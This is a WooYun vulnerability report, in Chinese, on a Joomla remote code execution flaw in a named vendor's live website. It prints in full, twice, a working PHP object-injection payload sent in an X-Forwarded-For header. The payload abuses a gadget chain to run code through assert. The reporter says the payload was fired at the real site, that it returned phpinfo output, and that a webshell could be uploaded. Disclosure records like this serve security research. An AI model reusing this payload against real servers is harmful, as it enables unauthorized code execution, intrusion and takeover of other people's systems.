当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162040

漏洞标题：中科鸿基主站存在Joomla远程代码执行漏洞

相关厂商：中科鸿基

漏洞作者： 路人甲

提交时间：2015-12-20 15:05

修复时间：2016-02-01 10:51

公开时间：2016-02-01 10:51

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-02-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中科鸿基主站存在Joomla远程代码执行漏洞

详细说明：

中科鸿基主站存在Joomla远程代码执行漏洞
漏洞地址：http://bjidc.net/
漏洞测试如下
利用网上攻击代码

X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð


第一次发攻击

1.jpg


第二次返回

2.jpg


3.jpg


已经成功回显phpinfo()的信息，可以上传webshell,就不测试了哈。

漏洞证明：

中科鸿基主站存在Joomla远程代码执行漏洞
漏洞地址：http://bjidc.net/
漏洞测试如下
利用网上攻击代码

X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð


第一次发攻击

1.jpg


第二次返回

2.jpg


3.jpg


已经成功回显phpinfo()的信息，可以上传webshell,就不测试了哈。

修复方案：

打补丁吧！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝